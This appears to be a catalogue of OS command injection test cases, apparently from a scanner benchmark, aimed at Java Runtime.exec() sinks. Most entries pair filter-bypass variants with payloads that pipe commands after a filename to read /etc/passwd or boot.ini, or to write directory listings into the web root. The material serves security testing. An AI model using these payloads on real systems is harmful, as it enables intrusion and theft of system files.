+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Ampersand Input Removal | Invalid Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - |): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent28.txt" + Independent Exploit 2 (Linux - |): eclipse.ini | cat /etc/passwd >> /var/www/dircontent28.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Full OS Command With Prefix | +ANY | Initial Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): cmd.exe /c dir c:\secret-directory\ + Independent Exploit 2 (Linux): cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Empty Input | +ANY | Initial Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): dir c:\secret-directory\ + Independent Exploit 2 (Linux): cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Invalid Input | +ANY | Initial Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): dir c:\secret-directory\ + Independent Exploit 2 (Linux): cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Full OS Command No Prefix | +ANY | Initial Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): dir c:\secret-directory\ + Independent Exploit 2 (Linux): cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Partial Command (filename) | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): | dir c:\secret-directory\ + Independent Exploit 2 (Linux): | cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Empty Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): eclipse.ini | dir c:\secret-directory\ + Independent Exploit 2 (Linux): eclipse.ini | cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Invalid Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): eclipse.ini | dir c:\secret-directory\ + Independent Exploit 2 (Linux): eclipse.ini | cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Full OS Postfix Command | +ANY | Postfix Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): type c:\boot.ini + Independent Exploit 2 (Linux): cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Empty Input | +ANY | Postfix Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): type c:\boot.ini + Independent Exploit 2 (Linux): cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Invalid Input | +ANY | Postfix Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): type c:\boot.ini + Independent Exploit 2 (Linux): cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Partial OS Postfix Command | +ANY | Postfix Statement/Command (After initial postfix command) | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): c:\boot.ini + Independent Exploit 2 (Windows): eclipse.ini | type c:\boot.ini + Independent Exploit 3 (Linux): /etc/passwd + Independent Exploit 4 (Linux): eclise.ini | cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Empty Input | +ANY | Postfix Statement/Command (After initial postfix command) | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): c:\boot.ini + Independent Exploit 2 (Windows): eclipse.ini | type c:\boot.ini + Independent Exploit 3 (Linux): /etc/passwd + Independent Exploit 4 (Linux): eclise.ini | cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Invalid Input | +ANY | Postfix Statement/Command (After initial postfix command) | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): c:\boot.ini + Independent Exploit 2 (Windows): eclipse.ini | type c:\boot.ini + Independent Exploit 3 (Linux): /etc/passwd + Independent Exploit 4 (Linux): eclise.ini | cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Partial Command (filename) | +ANY | Mid Statement/Command with Fixed Postfix | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent14.txt" + Independent Exploit 2 (Linux): eclipse.ini | cat /etc/passwd >> /var/www/dircontent14.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Empty Input | +ANY | Mid Statement/Command with Fixed Postfix | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent15.txt" + Independent Exploit 2 (Linux): eclipse.ini | cat /etc/passwd >> /var/www/dircontent15.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Invalid Input | +ANY | Mid Statement/Command with Fixed Postfix | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent16.txt" + Independent Exploit 2 (Linux): eclipse.ini | cat /etc/passwd >> /var/www/dircontent16.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Pipe Input Validation | Partial Command (filename) | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - encoded & - %26): eclipse.ini %26 dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent17.txt" + Independent Exploit 2 (Linux - encoded & - %26): eclipse.ini %26 cat /etc/passwd >> /var/www/dircontent17.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Pipe Input Validation | Empty Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - encoded & - %26): eclipse.ini %26 dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent18.txt" + Independent Exploit 2 (Linux - encoded & - %26): eclipse.ini %26 cat /etc/passwd >> /var/www/dircontent18.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Pipe Input Validation | Invalid Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - encoded & - %26): eclipse.ini %26 dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent19.txt" + Independent Exploit 2 (Linux - encoded & - %26): eclipse.ini %26 cat /etc/passwd >> /var/www/dircontent19.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Pipe Input Removal | Partial Command (filename) | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - encoded & - %26): eclipse.ini %26 dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent20.txt" + Independent Exploit 2 (Linux - encoded & - %26): eclipse.ini %26 cat /etc/passwd >> /var/www/dircontent20.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Pipe Input Removal | Empty Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - encoded & - %26): eclipse.ini %26 dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent21.txt" + Independent Exploit 2 (Linux - encoded & - %26): eclipse.ini %26 cat /etc/passwd >> /var/www/dircontent21.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Pipe Input Removal | Invalid Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - encoded & - %26): eclipse.ini %26 dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent22.txt" + Independent Exploit 2 (Linux - encoded & - %26): eclipse.ini %26 cat /etc/passwd >> /var/www/dircontent22.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Ampersand Input Validation | Partial Command (filename) | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - |): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent23.txt" + Independent Exploit 2 (Linux - |): eclipse.ini | cat /etc/passwd >> /var/www/dircontent23.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Ampersand Input Validation | Empty Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - |): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent24.txt" + Independent Exploit 2 (Linux - |): eclipse.ini | cat /etc/passwd >> /var/www/dircontent24.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Ampersand Input Validation | Invalid Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - |): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent25.txt" + Independent Exploit 2 (Linux - |): eclipse.ini | cat /etc/passwd >> /var/www/dircontent25.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Ampersand Input Removal | Partial Command (filename) | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - |): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent26.txt" + Independent Exploit 2 (Linux - |): eclipse.ini | cat /etc/passwd >> /var/www/dircontent26.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Ampersand Input Removal | Empty Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - |): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent27.txt" + Independent Exploit 2 (Linux - |): eclipse.ini | cat /etc/passwd >> /var/www/dircontent27.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Ampersand Input Removal | Invalid Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - |): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent28.txt" + Independent Exploit 2 (Linux - |): eclipse.ini | cat /etc/passwd >> /var/www/dircontent28.txt + |